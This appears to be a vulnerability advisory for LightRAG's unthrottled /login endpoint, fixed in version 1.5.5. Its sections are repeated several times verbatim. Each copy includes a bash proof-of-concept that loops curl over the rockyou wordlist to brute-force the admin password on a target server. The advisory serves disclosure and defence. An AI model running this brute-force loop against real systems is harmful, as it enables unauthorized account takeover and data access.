CVE-2026-85734

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.